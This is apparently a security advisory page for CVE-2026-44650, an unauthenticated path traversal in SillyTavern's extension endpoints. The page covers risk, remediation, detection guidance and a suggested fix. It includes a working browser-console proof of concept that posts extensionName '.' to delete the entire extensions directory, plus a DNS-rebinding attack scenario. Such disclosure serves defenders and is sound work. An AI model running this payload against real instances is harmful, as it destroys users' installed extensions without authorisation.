SillyTavern's extension deletion API accepts `extensionName: '.'` without authentication — `sanitize-filename` converts the dot to an empty string, `path.join` resolves to the base extensions directory, and `fs.promises.rm` recursively deletes everything in it. With no credentials required in the default configuration, any network-reachable instance can have all installed extensions permanently destroyed with a single HTTP POST. The same vulnerable pattern exists across five additional endpoints, and the attack chains with CVE-2025-59159 (DNS rebinding) to enable exploitation from any malicious web page without requiring direct network access to the target. Upgrade to SillyTavern 1.18.0 immediately; as an interim control, enable basicAuth and bind the service to localhost with firewall rules blocking external access.
Risk Assessment
CVSS 9.1 Critical with zero authentication barrier and trivial reproducibility — the published PoC is a browser console paste. The default configuration (basicAuthMode: false) leaves virtually every deployment exposed out of the box. DNS rebinding via CVE-2025-59159 expands the attack surface from LAN-only to any internet user who can deliver a malicious URL to the victim. With 2,931 downstream dependents and an OpenSSF score of 4.9/10, ecosystem-wide remediation will be slow. No confirmed in-the-wild exploitation at time of publication, but the PoC is trivially reproducible from the advisory itself.
Attack Kill Chain
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| sillytavern | npm | <= 1.17.0 | 1.18.0 |
Do you use sillytavern? You're affected.
Severity & Risk
Attack Surface
Recommended Action
5 steps-
Patch: Upgrade to SillyTavern >= 1.18.0, which validates extensionName after sanitization and adds a path traversal guard using path.resolve comparison.
-
Immediate workaround: Enable basicAuth (set basicAuthMode: true in config.yaml with a strong password) to block unauthenticated access to all management endpoints.
-
Network hardening: Bind SillyTavern to 127.0.0.1 rather than 0.0.0.0; firewall the SillyTavern port (default 8000) to trusted hosts only to eliminate DNS rebinding attack surface.
-
Detection: Monitor HTTP access logs for POST requests to /api/extensions/delete, /api/extensions/update, /api/extensions/version, /api/extensions/branches, or /api/extensions/switch where request body contains extensionName values of '.', '', or other sanitize-filename edge cases.
-
Audit all five additional vulnerable endpoints — /update, /version, /branches, and /switch carry the same pre-sanitization validation logic and require the same fix.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-44650?
SillyTavern's extension deletion API accepts `extensionName: '.'` without authentication — `sanitize-filename` converts the dot to an empty string, `path.join` resolves to the base extensions directory, and `fs.promises.rm` recursively deletes everything in it. With no credentials required in the default configuration, any network-reachable instance can have all installed extensions permanently destroyed with a single HTTP POST. The same vulnerable pattern exists across five additional endpoints, and the attack chains with CVE-2025-59159 (DNS rebinding) to enable exploitation from any malicious web page without requiring direct network access to the target. Upgrade to SillyTavern 1.18.0 immediately; as an interim control, enable basicAuth and bind the service to localhost with firewall rules blocking external access.
Is CVE-2026-44650 actively exploited?
No confirmed active exploitation of CVE-2026-44650 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-44650?
1. Patch: Upgrade to SillyTavern >= 1.18.0, which validates extensionName after sanitization and adds a path traversal guard using path.resolve comparison. 2. Immediate workaround: Enable basicAuth (set basicAuthMode: true in config.yaml with a strong password) to block unauthenticated access to all management endpoints. 3. Network hardening: Bind SillyTavern to 127.0.0.1 rather than 0.0.0.0; firewall the SillyTavern port (default 8000) to trusted hosts only to eliminate DNS rebinding attack surface. 4. Detection: Monitor HTTP access logs for POST requests to /api/extensions/delete, /api/extensions/update, /api/extensions/version, /api/extensions/branches, or /api/extensions/switch where request body contains extensionName values of '.', '', or other sanitize-filename edge cases. 5. Audit all five additional vulnerable endpoints — /update, /version, /branches, and /switch carry the same pre-sanitization validation logic and require the same fix.
What systems are affected by CVE-2026-44650?
This vulnerability affects the following AI/ML architecture patterns: Local LLM deployments, AI agent frameworks, Plugin and extension ecosystems, AI productivity tooling.
What is the CVSS score for CVE-2026-44650?
CVE-2026-44650 has a CVSS v3.1 base score of 9.1 (CRITICAL).
Technical Details
NVD Description
## Summary `POST /api/extensions/delete` endpoint accepts `extensionName: "."` which bypasses `sanitize-filename` validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration. ## Affected File `src/endpoints/extensions.js` (last modified: commit `3ad9b05e2`) ## Root Cause The validation check occurs **before** sanitization: ```javascript // [1] "." is truthy — passes the check if (!request.body.extensionName) { return response.status(400).send('Bad Request'); } // [2] sanitize(".") → "" const extensionPath = path.join(basePath, sanitize(extensionName)); // path.join("data\\default-user\\extensions", "") // = "data\\default-user\\extensions" ← basePath itself! // [3] Deletes the entire extensions directory await fs.promises.rm(extensionPath, { recursive: true }); ``` `sanitize-filename` converts `"."` to `""` (documented behavior). `path.join(basePath, "")` returns `basePath` itself. Result: the entire `data\default-user\extensions\` directory is deleted. ## Proof of Concept Tested on: Windows 10, SillyTavern v1.17.0, commit `004f1336e` Authentication: none (basicAuthMode: false, default configuration) Run in browser console (F12) while SillyTavern is open: ```javascript async function poc() { const { token } = await (await fetch('/csrf-token')).json(); const headers = { 'Content-Type': 'application/json', 'X-CSRF-Token': token, }; // Before: 1 extension installed const before = await (await fetch('/api/extensions/discover', { headers })).json(); console.log('Before:', before.filter(e => e.type === 'local')); // [{ type: 'local', name: 'third-party/Extension-Notebook' }] // Attack const res = await fetch('/api/extensions/delete', { method: 'POST', headers, body: JSON.stringify({ extensionName: '.' }), }); console.log('Status:', res.status); // 200 console.log('Body:', await res.text()); // "Extension has been deleted at data\default-user\extensions" // After: empty const after = await (await fetch('/api/extensions/discover', { headers })).json(); console.log('After:', after.filter(e => e.type === 'local')); // [] } poc(); ``` **Result:** Before: [{ type: 'local', name: 'third-party/Extension-Notebook' }] Status: 200 Body: Extension has been deleted at data\default-user\extensions After: [] ## Impact - **No authentication required** (`basicAuthMode: false` by default). Any user with network access to the SillyTavern instance can permanently delete the entire extensions directory with a single HTTP request. - All installed third-party extensions are unrecoverably lost. - With `global: true` and admin privileges, the global extensions directory shared across all users can also be deleted. - This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to enable unauthenticated remote exploitation from a malicious website. ## Same Pattern in Other Endpoints The same vulnerability exists in: - `POST /api/extensions/update` - `POST /api/extensions/version` - `POST /api/extensions/branches` - `POST /api/extensions/switch` ## Suggested Fix ```javascript const sanitized = sanitize(extensionName); // Check AFTER sanitizing if (!sanitized) { return response.status(400).send('Bad Request: Invalid extension name.'); } const extensionPath = path.join(basePath, sanitized); // Additional path traversal guard const resolvedPath = path.resolve(extensionPath); const resolvedBase = path.resolve(basePath); if (!resolvedPath.startsWith(resolvedBase + path.sep)) { return response.status(400).send('Bad Request: Invalid extension path.'); } ``` Apply the same fix to `/update`, `/version`, `/branches`, and `/switch` endpoints. ## References - CWE-22: Improper Limitation of a Pathname to a Restricted Directory - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical) - sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename - Related CVE (same project): CVE-2025-59159 ##REPORTED BY Jormungandr
Exploitation Scenario
An attacker compromises a corporate AI team's local LLM environment where SillyTavern is running with default settings. Using CVE-2025-59159 (DNS rebinding), a malicious website forces the victim's browser to issue a cross-origin POST to the local SillyTavern instance with Content-Type application/json and extensionName set to '.'. The browser first fetches a CSRF token from the unauthenticated GET /csrf-token endpoint, then issues the delete request. On the server, sanitize-filename converts '.' to an empty string, path.join resolves to the extensions base directory, and fs.promises.rm recursively deletes all installed extensions — wiping custom tool integrations, agent automation scripts, and persona configurations. The entire attack executes silently in under two seconds from the victim's browser, requiring only that they visit a malicious URL.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-42266 8.8 JupyterLab: Extension allow-list bypass enables privesc
Same package: notebook CVE-2018-8768 7.8 Jupyter Notebook: XSS via malicious .ipynb file
Same package: notebook CVE-2026-35397 7.1 Jupyter Server: path traversal leaks sibling directories
Same package: notebook CVE-2026-39378 6.5 nbconvert: path traversal exfiltrates files via HTML export
Same package: notebook CVE-2026-39377 6.5 nbconvert: path traversal enables arbitrary file write
Same package: notebook
AI Threat Alert